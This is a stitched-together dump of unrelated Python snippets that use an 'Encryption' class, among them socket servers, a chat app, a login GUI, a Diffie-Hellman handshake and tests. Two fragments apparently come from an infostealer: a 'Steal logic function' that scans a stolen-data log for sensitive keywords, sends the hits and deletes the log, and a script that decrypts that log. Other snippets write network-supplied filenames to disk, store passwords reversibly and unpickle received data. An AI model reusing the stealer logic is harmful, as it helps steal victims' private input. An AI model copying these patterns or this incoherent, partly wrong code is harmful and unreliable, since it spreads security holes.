def handle_connection(self, client_socket, client_address):
DH = GenerateKey(self.rollnumber)
peerhash = int(client_socket.recv(4096).decode())
client_socket.send(str(DH.hashkey).encode())
DH.gen_key(peerhash)
En = Encryption(DH.finalkey)
data = client_socket.recv(4096)
if not data:
client_socket.close()
return
data = En.decrypt(data)
print(data.decode())
if 'sent a file' in data.decode():
client_socket.send('ok'.encode())
data = client_socket.recv(4096)
filename = En.decrypt(data).decode()
with open(filename, 'wb') as f:
print('receiving data...', end="")
while True:
data = client_socket.recv(4096)
data = En.decrypt(data)
if not data:
break
f.write(data)
client_socket.send('ok'.encode())
print("done")
client_socket.close()
def _results(self):
"""
Steal logic function.
INTEcoin - Holds the encrypted data which deletes after the function finishes copying the file.
"""
send_flag = False # File has one of the keywords flag
keywords_contained = [] # Keywords found in the log
chunk = ""
decrypted_log = ""
for byt in Encryption.bytes_from_file(
"logs/INTEcoin.dat"
): # Reads stolen data file as chunks and save them in a list
if byt == "@":
decrypted_log += Encryption.decrypt(chunk.encode())
chunk = ""
continue
chunk += byt
for word in KEYWORDS: # Checks if any sensitive data was inputted
if word in decrypted_log:
send_flag = True
keywords_contained.append(word)
if send_flag:
self._send(keywords_contained) # Sends the encrypted data
os.remove("logs/INTEcoin.dat"
) # Deletes the file to avoid sending the same data again
def download(file):
if "key" not in request.form:
return "No key provided"
key = request.form["key"]
name = redis_cli.get(file)
key_hash = redis_cli.get(f"{file}-key")
iv = redis_cli.get(f"{file}-iv")
if not name:
return "No file with that ID exists"
elif hashlib.sha512(key.encode()).hexdigest() != key_hash.decode():
return "Invalid key"
with open(os.path.join(app.config["UPLOAD_FOLDER"], name.decode()),
"rb") as resp:
encrypted_file_data = resp.read()
os.remove(os.path.join(app.config["UPLOAD_FOLDER"], name.decode()))
cipher = Encryption(key)
file_data = cipher.decrypt(encrypted_file_data, iv)
redis_cli.delete(file)
redis_cli.delete(f"{file}-iv")
redis_cli.delete(f"{file}-key")
return send_file(BytesIO(file_data),
as_attachment=True,
attachment_filename=name.decode())
class TestDecryptMethod(unittest.TestCase):
"""Testing class to test all encryption related actions
"""
def setUp(self):
self.enc = Encryption(b"defaultD", "defaultP")
# def tearDown(self): # something here?
def test_decrypt(self):
self.enc.encrypt()
d_data = self.enc.decrypt()
self.assertEqual(self.enc.data, d_data)
def main():
enc = Encryption()
print("Encrypting message: The Queen Can't Roll When Sand is in the Jar.")
message = "The Queen Can't Roll When Sand is in the Jar."
message = enc.encrypt(message)
print(message)
print()
print("Decrypting message:")
message = enc.decrypt(message)
print(message)
input("--Press any key to end--")
class TestEncryptMethod(unittest.TestCase):
"""Testing class to test all encryption related actions
"""
def setUp(self):
self.enc = Encryption(b"defaultD", "defaultP")
def test_encrypt0(self):
self.enc.encrypt()
d_data = self.enc.decrypt()
self.assertEqual(self.enc.data, d_data)
""" Test salt is not same """
def test_encrypt1(self):
self.enc1 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo")
hash1 = self.enc.encrypt()
self.enc2 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo")
hash2 = self.enc2.encrypt()
self.assertNotEqual(hash1, hash2)
class ServerTcp:
def __init__(self, ip, port, router):
self.ip = ip
self.port = port
#init socket
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.ip, self.port))
#init handlers
self.handlers = {
"bootstrap": self.bootstrap_handler,
"ping": self.ping_handler,
"search": self.search_handler,
"store": self.store_hander,
"app": self.app_handler,
"encrypted": self.encryption_handler
}
self.router = router
self.apps = {}
self.enc = Encryption()
self.flag = True
def listen(self):
self.sock.listen(5)
print("server is runing on port: " + str(self.port))
while self.flag:
client, _ = self.sock.accept()
client.settimeout(30)
threading.Thread(target=self.handle, args=client)
def handle(self, client):
while self.flag:
try:
data = client.recv(2048)
data = Formatter.DecodeJson(data)
datatype = data["datatype"]
self.handlers[datatype](data)
sleep(0.5)
except Exception:
client.close()
def add_handlers(self, handlers):
self.handlers.update(handlers)
def stop(self):
#stops the server
self.flag = False
########################################################################################################################
def bootstrap_handler(self, data):
'''
:param data: contains the data for requesting bootstrap
:return: void - leads to the creation of the new user's routing table
'''
action = data["action"]
if action == "request":
peer = data["peer_id"]
range_from_peer = self.router.peer.get_range(peer)
new_peer = self.router.peer.closest_to_peer(peer)
range_from_new_peer = self.router.peer.get_range(new_peer)
if range_from_new_peer < range_from_peer:
self.router.bootstrap_red(data, new_peer)
else:
RoutingTable = self.router.peer.add_peer(data["From"])
self.router.bootstrap_resp(data, RoutingTable)
elif action == "response":
RoutingTable = data["RoutingTable"]
self.router.peer.RoutingTable = RoutingTable
elif action == "redirect":
RoutingTable = self.router.peer.add_peer(data["peer_id"])
self.router.bootstrap_resp_red(data, RoutingTable)
########################################################################################################################
def ping_handler(self, data):
'''
:param data: contains the data for
:return:
'''
if data["action"] == "request":
self.router.ping_reply(data)
else:
print(data["From"] + " is alive")
self.router.client.AddClient(data["endpoint"], data["From"],
data["pubk"], data["pubsig"])
########################################################################################################################
def search_handler(self, data):
action = data["action"]
if action == "found":
self.router.peer.client.PreformTask(data["peer_id"],
data["endpoint"])
if action == "init":
self.router.redirect_search_peer(data)
if action == "search":
self.router.redirect_search_peer(data)
if action == "end":
self.router.peer.client.CancelTask(data["peer_id"])
########################################################################################################################
def store_hander(self, data):
action = data["action"]
if action == "store":
self.router.recv_store(data)
########################################################################################################################
def swarm_handler(self, data):
action = data["action"]
if action == "find_tracker":
s = Swarm(self.router.peer.id)
########################################################################################################################
def app_handler(self, data):
apptype = data["apptype"]
self.apps[apptype](data)
def encryption_handler(self, data):
clear = self.enc.decrypt(data)
clear = Formatter.DecodeJson(clear)
datatype = clear["datatype"]
self.handlers[datatype](clear)
class LoginPage(tk.Canvas):
def __init__(self, parent, main_page):
#for recreating after destroying and using outside the namspace of __init__() if needed
self.parent = parent
self.main_page = main_page
#connections to database
self.credentials = self.main_page.connection.MechatronicsDB.Credentials
self.icons = self.main_page.connection.MechatronicsDB.Iconbase
#colors
self.__bg = "#00FF96"
self.__fg = "#1565C0"
self.highlightbackground = "#1976D2"
self.highlightcolor = "#f44336"
self.active_colour = "#42A5F5"
#canvas initialization
super().__init__(parent,
bg=self.__bg,
highlightbackground=self.highlightbackground,
highlightthickness="2",
highlightcolor=self.highlightcolor,
relief="flat")
self.bind("<Button-1>", lambda var: [self.focus_set(), self.active()])
#user_name Label
self.__labelUser = tk.Label(self,
text="User Name",
font=("Qualy", 30),
bg=self.__bg,
fg=self.__fg,
relief="flat",
anchor="w")
self.__labelUser.place(relwidth=0.2,
relheight=0.1,
relx=0.05,
rely=0.15)
#password_label
self.__labelPassword = tk.Label(self,
text="Password",
font=("Qualy", 30),
bg=self.__bg,
fg=self.__fg,
relief="flat",
anchor="w")
self.__labelPassword.place(relwidth=0.2,
relheight=0.1,
relx=0.05,
rely=0.38)
#user_entry_box
self.__user_entry = tk.Entry(
self,
bd=5,
font=("comfortaa", 30),
bg=self.__bg,
highlightbackground=self.highlightbackground,
highlightthickness="2",
highlightcolor=self.highlightcolor,
relief="flat")
self.__user_entry.bind(
"<Button-1>",
lambda var: [self.__user_entry.focus_set(),
self.active()])
self.__user_entry.bind(
"<Return>",
lambda var: [self.__password_entry.focus_set(),
self.active()])
self.__user_entry.place(relheight=.1,
relwidth=.9,
relx=0.05,
rely=0.26)
#password_enrty_box
self.__password_entry = tk.Entry(
self,
bd=0,
font=("comfortaa", 30),
show="*",
bg=self.__bg,
highlightbackground=self.highlightbackground,
highlightcolor=self.highlightcolor,
highlightthickness="2",
relief="flat")
self.__password_entry.bind(
"<Button-1>",
lambda var: [self.__password_entry.focus_set(),
self.active()])
self.__password_entry.bind(
"<Return>",
lambda var: [self.__button1.focus_set(),
self.active()])
self.__password_entry.place(relheight=.1,
relwidth=.9,
relx=0.05,
rely=0.49)
self.loaded_icons = {
"hide":
ImageTk.PhotoImage(
Image.open(
io.BytesIO(
self.icons.find_one({
"_id": "hide"
}).get("image"))).resize((45, 45), Image.ANTIALIAS)),
"show":
ImageTk.PhotoImage(
Image.open(
io.BytesIO(
self.icons.find_one({
"_id": "show"
}).get("image"))).resize((45, 45), Image.ANTIALIAS))
}
#hide_and_seek_button
self.hide_n_seek = tk.Button(self,
bd=0,
image=self.loaded_icons.get("show"),
bg=self.__bg,
highlightbackground=self.__bg,
activebackground=self.__bg,
highlightcolor=self.__bg,
command=self.hide_and_seek,
relief="flat")
self.bind("<Button-1>", lambda var: self.active())
self.hide_n_seek.place(relwidth=0.04,
relheight=0.08,
relx=0.905,
rely=0.5)
#submit button
self.__button1 = tk.Button(self,
text="Submit",
font=("Skate Brand", 25),
bg=self.__bg,
fg=self.__fg,
highlightbackground="#FF5722",
activebackground=self.__fg,
activeforeground=self.__bg,
command=self.post_checking,
relief="groove")
self.__button1.place(relwidth=.2, relheight=0.1, relx=.4, rely=.705)
#sign_up_section
self.__messagelabel = tk.Label(self,
text="Don't have an account?",
font=("comfortaa", 15),
bg=self.__bg,
relief="flat",
anchor="e")
self.__messagelabel.place(relwidth=0.22,
relheight=0.05,
relx=0.65,
rely=0.92)
self.__button2 = tk.Button(self,
bd=0,
text="Sign Up?",
font=("qualy", 15),
bg=self.__bg,
fg="#1976D2",
activebackground="#2E4053",
activeforeground=self.__bg,
highlightbackground="#1976D2",
command=lambda: SignUP(self.main_page),
relief="flat")
self.__button2.place(relwidth=0.1, relheight=0.08, relx=0.88, rely=0.9)
def active(self):
self.frame_name = str(self.focus_get()).rsplit("!", 1)[0]
if str(self.focus_get()) == f"{self.frame_name}!entry":
self.__labelUser.configure(fg=self.highlightcolor)
self.__user_entry.configure(bg=self.active_colour)
else:
self.__labelUser.configure(fg=self.__fg)
self.__user_entry.configure(bg=self.__bg)
if str(self.focus_get()) == f"{self.frame_name}!entry2":
self.__labelPassword.configure(fg=self.highlightcolor)
self.__password_entry.configure(bg=self.active_colour)
self.hide_n_seek.configure(bg=self.active_colour,
activebackground=self.active_colour,
highlightbackground=self.active_colour)
else:
self.__labelPassword.configure(fg=self.__fg)
self.__password_entry.configure(bg=self.__bg)
self.hide_n_seek.configure(bg=self.__bg,
activebackground=self.__bg,
highlightcolor=self.__bg)
def hide_and_seek(self):
if self.__password_entry.cget("show") == "*":
self.__password_entry.configure(show="")
self.hide_n_seek.configure(image=self.loaded_icons.get("hide"))
else:
self.__password_entry.configure(show="*")
self.hide_n_seek.configure(image=self.loaded_icons.get("show"))
def post_checking(self, *kwargs):
if (len(self.__user_entry.get()) == 0
or len(self.__password_entry.get()) == 0):
messagebox.showerror("Error", "Username or Password is Empty!")
else:
self.checker = Encryption()
try:
if self.__user_entry.get().rstrip(
) == self.credentials.find_one({
"user_name":
self.__user_entry.get().rstrip()
}).get("user_name"):
if self.__password_entry.get() == self.checker.decrypt(
self.credentials.find_one({
"user_name":
self.__user_entry.get().rstrip()
}).get("password").encode()).decode():
messagebox.showinfo(
"WELCOME!",
(self.__user_entry.get().split("_")[0]).title())
self.main_page.canvases.update({
"info_page":
InfoPage(self.main_page.interface, self.main_page,
self.__user_entry.get())
})
self.destroy()
self.__init__(self.parent, self.main_page)
self.main_page.show_canvas("info_page")
else:
messagebox.showerror(
"Error!",
"Incorrect Password!\nCheck for white space at the end!!"
)
else:
messagebox.showerror("Error!",
"No user found.\nCheck user name.")
self.__password_entry.delete(0, "end")
except AttributeError:
messagebox.showerror("Error", "Username doesn't exist.")
def authenticate(self, shared_secret_key, receiver_q, sender_q, mode,
auth_res, token):
"""
Authenticates server and client, returns a session key
"""
client_auth_str = "I'm client"
server_auth_str = "I'm server"
NUM_BYTES_DH = 32 # Going for 256-bit a/b values in diffie-hellman
NUM_BYTES_NONCE = 8 # Going for 64-bit nonce
TIMEOUT_DELAY = 5 # Timeout waiting on response after 5 seconds
logging.info('Authenticating')
# Diffie-Hellman Group 14 2024-bit Key exchange values
p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
g = 0x2
# Client Mode
if (mode == Mode.CLIENT):
# First message to server in the form:
# "client_msg, ra"
# client_msg: "I'm client"
# ra : client generated nonce
ra = Random.get_random_bytes(NUM_BYTES_NONCE)
msg = [client_auth_str, ra]
msg = pickle.dumps(msg)
logging.info("Message to send: " + client_auth_str + "," + str(ra))
wait_if_debug(token)
try:
sender_q.put(msg, True, TIMEOUT_DELAY)
except:
auth_res.error = True
logging.info("Timed out writing client's first message")
return
# Expect server response in the form:
# "rb, E("server_msg, ra, B", Kab)"
# rb : new nonce from server
# server_msg: "I'm server"
# ra : return of previously generated nonce
# B : server generated half of diffie-hellman (g^b mod p)
# Kab : shared secret key between client and server
try:
if (token.debug):
resp = receiver_q.get(True)
else:
resp = receiver_q.get(True, TIMEOUT_DELAY)
except:
auth_res.error = True
wait_if_debug(token)
logging.info("Timed out waiting for server's first reply")
try:
resp = pickle.loads(resp)
rb = resp[0]
ciphertext = resp[1]
#logging.info("Ciphertext received from server: " + str(ciphertext))
plaintext = Encryption.decrypt(ciphertext, shared_secret_key)
#wait_if_debug(token)
except Exception as e:
logging.info("Message from server wasn't formatted correctly")
logging.info('Error: ' + str(e))
auth_res.error = True
return
try:
plaintext = pickle.loads(plaintext)
server_msg = plaintext[0]
ra_reply = plaintext[1]
B = int(plaintext[2])
logging.info("Plaintext received: ")
logging.info('Server message: ' + str(server_msg))
logging.info('ra returned: ' + str(ra_reply))
logging.info('Server B: ' + str(B))
wait_if_debug(token)
if (server_msg != server_auth_str):
logging.info("Message from server didn't say 'I'm server'")
auth_res.error = True
return
if (ra_reply != ra):
logging.info(
"Reterned nonce ra_reply not equal sent nonce ra")
auth_res.error = True
return
except Exception as e:
logging.info("Message from server wasn't formatted correctly")
logging.info('Error: ' + str(e))
wait_if_debug(token)
auth_res.error = True
return
# Send final authorization message in the form:
# "E("client_msg, rb, A", Kab)"
# client_msg: "I'm client"
# rb : nonce received from server
# A : client generated half of diffie-hellman (g^a mod p)
# Kab : shared secret key between client and server
a = Random.get_random_bytes(NUM_BYTES_DH)
a_int = int.from_bytes(a, byteorder='big')
A = pow(g, a_int, p)
plaintext = [client_auth_str, rb, A]
logging.info("Plaintext to be sent: ")
logging.info('Client message: ' + str(client_auth_str))
logging.info('rb returned : ' + str(rb))
logging.info('Client A: ' + str(A))
wait_if_debug(token)
plaintext = pickle.dumps(plaintext)
ciphertext = Encryption.encrypt(plaintext, shared_secret_key)
logging.info("Ciphertext to be sent: " + str(ciphertext))
wait_if_debug(token)
msg = [ciphertext]
msg = pickle.dumps(msg)
try:
sender_q.put(msg, True, TIMEOUT_DELAY)
logging.info("Sending message to server...")
except:
logging.info("Timed out writing client's second message")
auth_res.error = True
return
# Calculate newly established session key
session_key = pow(B, a_int, p)
logging.info("Session key: " + str(session_key))
wait_if_debug(token)
auth_res.dh = session_key
auth_res.error = False
# Server Mode
else:
# Wait for message from client in the form:
# "client_msg, ra"
# client_msg: "I'm client"
# ra : client generated nonce
while (1):
try:
if (token.debug):
resp = receiver_q.get(True)
break
else:
resp = receiver_q.get(True, TIMEOUT_DELAY)
break
except:
logging.info("Still waiting for client's first message")
continue
try:
resp = pickle.loads(resp)
client_msg = resp[0]
ra = resp[1]
logging.info("Message recieved from client")
logging.info('Client message: ' + str(client_msg))
logging.info('ra: ' + str(ra))
wait_if_debug(token)
if (client_msg != client_auth_str):
logging.info("Message from client didn't say 'I'm client'")
wait_if_debug(token)
auth_res.error = True
return
except Exception as e:
logging.info("Message from client wasn't formatted correctly")
logging.info('Exception: ' + str(e))
wait_if_debug(token)
auth_res.error = True
return
# Send reply to client in the form:
# "rb, E("server_msg,ra,dh_b", Kab)
# rb : server generated nonce
# server_msg: "I'm server"
# ra : nonce received from client
# B : server generated half of diffie-hellman (g^b mod p)
# Kab : shared secret key between client and server
rb = Random.get_random_bytes(NUM_BYTES_NONCE)
b = Random.get_random_bytes(NUM_BYTES_DH)
b_int = int.from_bytes(b, byteorder='big')
B = pow(g, b_int, p)
plaintext = [server_auth_str, ra, B]
logging.info("Plaintext to be sent: ")
logging.info('rb: ' + str(rb))
logging.info('server_mgs: ' + server_auth_str)
logging.info('ra: ' + str(ra))
logging.info('B: ' + str(B))
wait_if_debug(token)
plaintext = pickle.dumps(plaintext)
ciphertext = Encryption.encrypt(plaintext, shared_secret_key)
msg = [rb, ciphertext]
msg = pickle.dumps(msg)
logging.info('Server: Message: ' + str(rb) + ',' + str(ciphertext))
wait_if_debug(token)
try:
sender_q.put(msg, True, TIMEOUT_DELAY)
logging.info("Sending message to client...")
except:
logging.info("Timed out writing server's first message")
wait_if_debug(token)
auth_res.error = True
return
# Wait for final message from client in the form:
# "E("client_msg, rb, A", Kab)"
# client_msg: "I'm client"
# rb : return of previously generated nonce
# A : client generated half of diffie-hellman (g^a mod p)
# Kab : shared secret key between client and server
try:
if (token.debug):
resp = receiver_q.get(True)
else:
resp = receiver_q.get(True, TIMEOUT_DELAY)
except:
logging.info("Timed out waiting for client's second message")
wait_if_debug(token)
auth_res.error = True
return
try:
resp = pickle.loads(resp)
ciphertext = resp[0]
logging.info('Ciphertext received: ' + str(ciphertext))
wait_if_debug(token)
plaintext = Encryption.decrypt(ciphertext, shared_secret_key)
plaintext = pickle.loads(plaintext)
client_msg = plaintext[0]
rb_reply = plaintext[1]
A = int(plaintext[2])
logging.info('Plaintext received: ')
logging.info('client_msg: ' + client_msg)
logging.info('rb: ' + str(rb))
logging.info('A: ' + str(A))
# TODO: For some reason adding the wait below would hang the system
#self.wait_if_debug(debug, token)
if (client_msg != client_auth_str):
logging.info("Message from client didn't say 'I'm client'")
wait_if_debug(token)
auth_res.error = True
return
if (rb_reply != rb):
logging.info(
"Returned nonce rb_reply not equal sent nonce rb")
wait_if_debug(token)
auth_res.error = True
return
except Exception as e:
logging.info("Message from client wasn't formatted correctly")
logging.info(e)
wait_if_debug(token)
auth_res.error = True
return
# Calculate newly established session key
session_key = pow(A, b_int, p)
logging.info("Session key: " + str(session_key))
wait_if_debug(token)
auth_res.dh = session_key
auth_res.error = False
return
class RemoteFS:
def __init__(self, server: CubicServer, key):
self.server = server
self.crypto = Encryption(key)
self.clear()
def clear(self):
self.dict = {}
self.all_block_hashes = set()
def generate_dict(self, items):
items1, items2 = itertools.tee(items)
iterable = itertools.chain.from_iterable(
(item.path, item.meta) for item in items1)
data = list(self.crypto.parallel_decrypt(iterable))
paths, metas = data[::2], data[1::2]
for item, path, meta in zip(items2, paths, metas):
path = path.decode('utf8', errors='surrogateescape')
meta = json.loads(meta.decode())
mode = meta['mode']
mtime = meta['mtime']
is_dir = path.endswith('/')
n = Node(is_dir=is_dir, mode=mode, mtime=mtime)
if is_dir:
path = path[:-1]
else:
n.size = meta['size']
n.block_hashes = item.blocks
self.all_block_hashes.update(n.block_hashes)
self.dict[path] = n
def fetch_remote(self):
logging.info('Downloading remote file list')
items = self.server.get_tree()
self.clear()
self.generate_dict(items)
logging.info('%s items in total', len(self.dict))
def check_hashes(self, hashes):
hashes = list(hashes)
logging.info('Checking remote existing blocks')
exists = [
hash
for hash, exist in zip(hashes, self.server.bulk_head_block(hashes))
if exist
]
logging.info('%s of %s blocks exists', len(exists), len(hashes))
return exists
def update_remote(self, *, add, remove):
logging.info('Updating directory tree')
remove_list = []
for path in remove:
remove_list.append(
self.crypto.encrypt(
(path + ('/' if self.dict[path].is_dir else '')).encode(
'utf8', errors='surrogateescape')))
add_list = []
for path, node in add.items():
if node.is_dir:
add_list.append(
SDK_Node(
self.crypto.encrypt(
(path + '/').encode('utf8',
errors='surrogateescape')),
self.crypto.encrypt(
json.dumps({
'mode': node.mode,
'mtime': node.mtime
}).encode()),
[],
))
else:
add_list.append(
SDK_Node(
self.crypto.encrypt(
path.encode('utf8', errors='surrogateescape')),
self.crypto.encrypt(
json.dumps({
'mode': node.mode,
'mtime': node.mtime,
'size': node.size
}).encode()),
node.block_hashes,
))
self.server.post_tree(put_items=add_list, delete_paths=remove_list)
logging.info('Directory tree updated')
def put_blocks(self, blocks):
self.put_encrypted_blocks(
[self.crypto.encrypt(block) for block in blocks])
def put_encrypted_blocks(self, blocks):
logging.info('Uploading %s blocks, total size %s bytes', len(blocks),
sum(len(b) for b in blocks))
self.server.bulk_post_block(blocks)
def get_block(self, hash):
return self.crypto.decrypt(self.server.get_block(hash))
def parseMessage():
while True:
data, addr = sock.recvfrom(100)
# MESSAGE TYPE 02 = Data, 04 = ACK
if data[3] == '\x02':
source = data[8:24]
destination = data[24:40]
if sourceAddress != destination:
routePacket(data, destination)
if data[40] in ['\x05', '\x0D', '\x01', '\x09']:
message = ''
if data[40] in ['\x05', '\x0D']:
message = parseChunking(data)
else:
message = data[41:]
sendAck(data[1:3], source, addr[0], addr[1])
if message:
sendBack = False
if not any(d['nextHop'] == source for d in routingTable):
msg_list.insert(END, "Neighbor " + knownTable[source]['email'] + " connected")
neighbors.append(addr[0] + ":"+ str(addr[1]) + ":" + knownTable[source]['email'])
sendBack = True
if len(message) == 0 or message == '\x00':
neighborToRemove = addr[0] + ":" + str(addr[1]) + ":" + knownTable[source]['email']
idx = neighbors.index(neighborToRemove)
del neighbors[idx]
if data[40] in ['\x0D', '\x09']: message = Encryption.decrypt(message)
updateRoutingTable(message, source)
if sendBack:
sendRoutingTable(addr[0], addr[1], source)
elif data[40] in ['\x06', '\x0E', '\x02', '\x0A']:
message = None
if data[40] in ['\x06', '\x0E']:
message = parseChunking(data)
else:
message = data[41:]
sendAck(data[1:3], source, addr[0], addr[1])
if message is not None:
if data[40] in ['\x0E', '\x0A']: message = Encryption.decrypt(message)
messageType = message[0]
message = message[1:]
if messageType == '\x02':
f = open('output.file', 'wb')
f.write(message)
f.close()
continue
from_email = knownTable[source]['email']
msg_list.insert(END, from_email + ': ' + message)
elif data[3] == '\x04':
dest_addr = addr[0] + ":" + str(addr[1])
packetConfId = bn(data[5:7])
if dest_addr in ackHistory and packetConfId in ackHistory[dest_addr]:
del ackHistory[dest_addr][packetConfId]
pass
class Client:
def __init__(self, address, display_message, start_new_server):
"""
:param address: адресс сервера, например: ('127.0.0.1' , 25000)
:param display_message: функция которая будет вызываться при получении сообщения
:param start_new_server: функция которая будет вызываться когда нужно создать новый сервер
"""
self.server_address = address
self.display_message = display_message
self._start_new_server = start_new_server
self.connections_list = []
self.connections_info = []
self._encryption = Encryption()
self.has_new_connections_info = True
self._running = True
self.sock = socket.socket()
thread = Thread(target=self._receive_data)
thread.daemon = True
thread.start()
def _receive_data(self):
try:
self.sock.connect(self.server_address)
self.display_message("system", "connection successful", "blue")
thread = Thread(target=self._send_description)
thread.daemon = True
thread.start()
except socket.error as e:
self.display_message("system", "unable to connect", "blue")
print("clent error: " + str(e))
return
while self._running:
try:
data = self.sock.recv(1024)
if not data:
raise socket.error
else:
self._handle_data(data)
except socket.error:
if not self._running:
return
self.display_message("system", "server has disconnected",
"blue")
self._handle_server_down()
break
def _handle_data(self, data):
# данные в посылаются в формате json
messages = self._encryption.decrypt(data).decode().split(
"}{") # разделение пакетов json
if len(messages) > 1:
messages = [messages[0] + "}"
] + ["{" + i + "}"
for i in messages[1:-1]] + ["{" + messages[-1]]
for message in messages:
self._handle_message(message)
def send_message(self, name, text, color):
config = configparser.ConfigParser()
config.read("config.ini")
self.sock.sendall(
self._encryption.encrypt(
json.dumps({
"username": name,
"text": text,
"color": color
}).encode()))
def _handle_message(self, message):
json_data = json.loads(message)
if "connections_list" in json_data:
if len(json_data["connections_list"]) == 0:
self.connections_list = []
else:
self.connections_list = [
tuple(l) for l in json_data["connections_list"]
]
elif "users_data" in json_data:
self.connections_info = list(json_data["users_data"])
self.has_new_connections_info = True
else:
self.display_message(json_data["username"], json_data["text"],
json_data["color"])
def _handle_server_down(self):
# обработка отключения сервера, выбор клиента создающего новый сервер
self.connections_list.sort(key=lambda tup: str(tup))
if self.connections_list[0] == self.sock.getsockname():
self._start_new_server(('', 25000))
self.server_address = ('127.0.0.1', 25000)
self.display_message("system", "you are now hosting server",
"blue")
else:
self.server_address = (self.connections_list[0][0], 25000)
time.sleep(1)
self.sock.close()
self.sock = socket.socket()
thread = Thread(target=self._receive_data)
thread.daemon = True
thread.start()
def _send_description(self):
# отправляет описание пользователя, когда требуется
prev_modified = 0
while self._running:
modified = os.path.getmtime("config.ini")
if prev_modified < modified:
config = configparser.ConfigParser()
config.read("config.ini")
name = config.get("USER INFORMATION", "username")
color = config.get("USER INFORMATION", "color")
status = config.get("USER INFORMATION", "status")
self.sock.sendall(
self._encryption.encrypt(
json.dumps({
"userdata": {
"username": name,
"color": color,
"status": status
}
}).encode()))
prev_modified = modified
time.sleep(1)
def stop(self):
self._running = False
self.sock.shutdown(socket.SHUT_RDWR)
self.sock.close()
class RabbitMQ_Server():
def __init__(self, dispatcher, config, mac, key):
self.mac = mac
self.config = config
self.dispatcher = dispatcher
self.credentials = pika.PlainCredentials(config["rabbitmq_login"],
config["rabbitmq_password"])
self.connected = False
#self.message = messages_pb2.Code()
self.encryption = Encryption(key)
self._thread = Thread(target=self._receiver_thread)
self._thread.start()
def pooling_connect(self):
self._thread_connection = Thread(target=self._connection_thread)
self._thread_connection.start()
def _connection_thread(self):
while 1:
print(" [*] RabbitMQ Server - Trying to Connect to RabbitMQ.")
if self.connect():
print(" [*] RabbitMQ Server - RabbitMQ unreachable.")
sleep(1)
else:
break
print(" [*] RabbitMQ Server - Connected to RabbitMQ.")
def connect(self):
try:
self.connection = pika.BlockingConnection(
pika.ConnectionParameters(
host=self.config["rabbitmq_server_ip"],
credentials=self.credentials))
self.channel = self.connection.channel()
self.channel.exchange_declare(exchange='outbound.dojot.exchange',
exchange_type='direct',
durable=True)
result = self.channel.queue_declare(exclusive=True)
queue_name = result.method.queue
self.channel.queue_bind(exchange='outbound.dojot.exchange',
queue=queue_name,
routing_key=self.mac)
self.channel.basic_consume(self._receiver_callback,
queue=queue_name,
no_ack=True)
self.connected = True
except Exception as e:
print(e)
print(
" [*] Could NOT connect to Rabbit Server. Network unreachable."
)
return 1
return 0
def _receiver_callback(self, ch, method, properties, body):
#message.ParseFromString(body)
try:
print(" [*] RabbitMQ server received something.")
json_message = self.encryption.decrypt(body)
message = json.loads(json_message)
self.dispatcher(message, Direction.InferDirection)
except Exception as e:
print(e)
def _receiver_thread(self):
print(' [*] RabbitMQ server created.')
while 1:
self.connected = False
self.pooling_connect()
while self.connected == False:
sleep(0.5)
try:
self.channel.start_consuming()
except:
print(
" [x] Rabbit server disconnected. Trying to reconnect...")
def deinit(self):
self.connection.close()
class Server:
def __init__(self, server_address):
"""
:param server_address: например: ('127.0.0.1', 25000)
"""
self.address = server_address
self._sock = socket.socket()
self._sock.bind(self.address)
self._connections = {}
self._main_client = None
self._messages = []
self._encryption = Encryption()
self._running = True
self._sock.listen(32)
self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
thread = Thread(target=self._waiting_for_connections)
thread.daemon = True
thread.start()
thread = Thread(target=self._send_to_all)
thread.daemon = True
thread.start()
def _waiting_for_connections(self):
while self._running:
try:
connection, address = self._sock.accept()
if not self._main_client:
self._main_client = address
self._connections.update({
connection:
json.loads(
self._encryption.decrypt(
connection.recv(1024)).decode())['userdata']
})
self._send_current_connections()
self._send_system_message("new connection established with " +
str(address))
thread = Thread(target=self.receive_data,
args=[connection, address])
thread.daemon = True
thread.start()
except socket.error as e:
if not self._running:
return
print(
"error: seems like you are not connected to the internet")
print(e)
def receive_data(self, connection, address):
while self._running:
try:
data = connection.recv(1024)
except socket.error:
if not self._running:
break
self._send_system_message("client " + str(address) +
" has disconnected")
self._connections.pop(connection)
self._send_current_connections()
break
if data:
messages = self._encryption.decrypt(data).decode().split("}{")
if len(messages) > 1:
messages = [messages[0] + "}"] + [
"{" + i + "}" for i in messages[1:-1]
] + ["{" + messages[-1]]
for message in messages:
self._handle_message(message, connection)
def _handle_message(self, message, connection):
json_data = json.loads(message)
if "userdata" in json_data:
self._connections[connection] = json_data['userdata']
self._send_current_connections()
else:
self._messages.append(message)
def _send_to_all(self):
while self._running:
if self._messages:
for message in self._messages[:]:
for connection in self._connections.keys():
connection.sendall(
self._encryption.encrypt(message.encode()))
self._messages.remove(message)
time.sleep(0.1)
time.sleep(0.01)
def _send_system_message(self, text):
self._messages.append(
json.dumps({
"username": "******",
"text": text,
"color": "blue"
}))
def _send_current_connections(self):
c_list = [
c.getpeername() for c in self._connections.keys()
if c.getpeername() != self._main_client
]
self._messages.append(json.dumps({"connections_list": c_list}))
time.sleep(0.1)
self._messages.append(
json.dumps({"users_data": list(self._connections.values())}))
def stop(self):
self._running = False
for connection in list(self._connections.keys()):
connection.shutdown(socket.SHUT_RDWR)
connection.close()
self._sock.close()
from encryption import Encryption # relative imports are weird in python.
chunk = ""
decrypted_log = ""
for byt in Encryption.bytes_from_file(
"INTEcoin.dat"
): # Reads stolen data file as chunks and save them in a list
if byt == "@":
decrypted_log += Encryption.decrypt(chunk.encode())
chunk = ""
continue
chunk += byt
print(decrypted_log)
with open("plaintext.txt", "a") as file:
file.write(decrypted_log)
